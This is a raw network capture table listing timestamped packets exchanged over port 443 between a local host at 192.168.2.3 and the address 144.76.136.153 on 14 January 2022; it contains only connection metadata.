Jan 14, 2022 04:59:52.299899101 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.300213099 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.300251007 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.300321102 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.300343990 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.300369024 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.301130056 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.301165104 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.301229954 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.301258087 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.301275015 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.301635027 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.301652908 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.301682949 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.301723003 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.301739931 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.301817894 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.301831007 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.301879883 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.301923990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.302165985 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.302203894 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.302262068 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.302279949 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.302292109 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.302347898 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.302700043 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.302740097 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.302797079 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.302809954 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.302824974 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.302902937 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.313020945 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.322098017 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.322134972 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.322226048 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.322263956 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.322283030 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.323154926 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.323194027 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.323266983 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.323301077 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.323317051 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.323362112 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.326777935 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.326817989 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327006102 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.327025890 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327085018 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.327183962 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327219963 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327280045 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.327294111 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327311039 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.327702999 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327739954 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327794075 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.327807903 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.327822924 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.327869892 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.328197956 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.328234911 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.328290939 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.328305006 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.328319073 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.328677893 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.328749895 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.328768969 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.328783035 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.328836918 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.328860998 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.329178095 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.329215050 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.329278946 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.329293966 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.329307079 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.329653978 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.329700947 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.329760075 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.329775095 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.329791069 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.329838037 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.330137014 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.330214024 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.330233097 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.330248117 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.330296993 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.330308914 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.330627918 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.330665112 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.330724001 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.330738068 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.330754995 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.330796957 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.346649885 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.346700907 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.346769094 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.346801043 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.346820116 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.346882105 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.354039907 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.354075909 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.354156971 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.354178905 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.354242086 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.354484081 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.354521036 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.354576111 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.354590893 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.354604006 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.354667902 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.355001926 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.355037928 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.355098009 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.355119944 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.355145931 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.355201960 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.355407000 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.355638981 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.355676889 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.355742931 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.355767965 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.355782986 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.355839014 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.356199026 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.356239080 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.356295109 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.356317997 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.356336117 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.356417894 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.356698990 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.356735945 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.356801033 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.356817961 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.356851101 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.357240915 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.357276917 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.357352018 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.357368946 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.357389927 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.357429028 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.357698917 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.357739925 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.357793093 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.357806921 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.357821941 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.358237982 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.358273983 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.358321905 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.358336926 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.358352900 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.358391047 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.370429993 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.370481014 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.370548010 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.370579004 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.370594978 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.370641947 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.374025106 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.374125957 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.374161005 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.374177933 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.374239922 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.374269009 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.382266998 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.382323980 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.382409096 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.382430077 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.382466078 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.382488966 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.382620096 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.382692099 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.382700920 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.382723093 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.382774115 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.382945061 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.382982969 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383023024 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.383033037 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383063078 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.383088112 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.383352995 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383410931 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383421898 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.383434057 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383476019 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.383774042 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383812904 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383840084 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.383846998 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.383874893 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.383896112 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.384171009 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.384208918 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.384246111 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.384258032 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.384311914 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.384402037 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.384727001 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.384767056 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.384808064 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.384821892 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.384855986 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.384876966 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.385093927 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.385129929 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.385173082 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.385188103 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.385215998 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.385256052 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.399131060 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.399174929 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.399235964 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.399257898 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.399271965 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.399960995 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.403337955 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.403378010 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.403445005 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.403465033 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.403480053 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.403522968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.405363083 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.411278009 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.411358118 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.411386967 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.411407948 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.411439896 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.411482096 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.411803961 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.411851883 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.411901951 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.411917925 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.411963940 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.411979914 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.412126064 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.412193060 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.412246943 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.412261009 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.412281990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.412312984 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.412566900 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.412602901 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.412661076 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.412674904 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.412719965 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.412743092 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.412950039 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.412986994 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413034916 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413045883 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413078070 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413105011 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413306952 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413358927 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413400888 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413409948 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413441896 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413461924 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413727045 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413800001 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413830042 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413858891 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.413872957 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.413918018 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.414124012 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.414159060 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.414226055 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.414243937 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.414273024 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.414298058 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.414468050 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.414504051 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.414557934 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.414573908 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.414607048 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.414629936 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.427875996 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.427920103 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.427975893 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.427997112 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.428085089 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.428092957 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.434679985 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.434725046 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.434787989 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.434807062 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.434822083 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.435090065 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.437836885 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.437896967 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.437949896 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.437968016 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.437984943 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.438014984 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.438241959 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.438318014 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.438323975 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.438343048 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.438385963 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.438644886 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.438683033 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.438721895 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.438730001 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.438751936 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.438777924 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439019918 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439095020 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439111948 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439126015 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439162016 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439182997 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439457893 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439493895 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439534903 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439543009 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439573050 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439594984 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439817905 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439898014 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439898968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.439919949 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.439961910 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.440228939 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.440265894 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.440305948 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.440315008 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.440337896 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.440356970 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.440633059 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.440686941 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.440716982 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.440726995 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.440764904 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.440812111 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.453094006 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.453138113 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.453212023 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.453232050 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.453280926 CET	49884	443	192.168.2.3	144.76.136.153
